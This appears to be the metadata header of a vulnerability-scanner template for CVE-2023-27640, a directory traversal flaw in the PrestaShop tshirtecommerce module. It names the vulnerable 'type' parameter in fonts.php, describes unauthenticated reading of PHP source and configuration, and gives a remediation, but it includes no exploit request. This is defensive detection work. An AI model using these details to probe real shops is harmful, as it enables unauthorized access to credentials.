PrestaShop tshirtecommerce - Directory Traversal

id: CVE-2023-27640

info:
  name: PrestaShop tshirtecommerce - Directory Traversal
  author: MaStErChO
  severity: high
  description: |
    The Custom Product Designer (tshirtecommerce) module for PrestaShop allows HTTP requests to be forged using POST and GET parameters, enabling a remote attacker to perform directory traversal on the system and view the contents of code files.
  impact: |
    Unauthenticated attackers can exploit directory traversal through the type parameter in fonts.php to read arbitrary PHP source code files, potentially exposing database credentials and PrestaShop configuration.
  remediation: |
    Update Custom Product Designer (tshirtecommerce) module to a patched version that validates file paths in fonts.php and prevents directory traversal attacks.
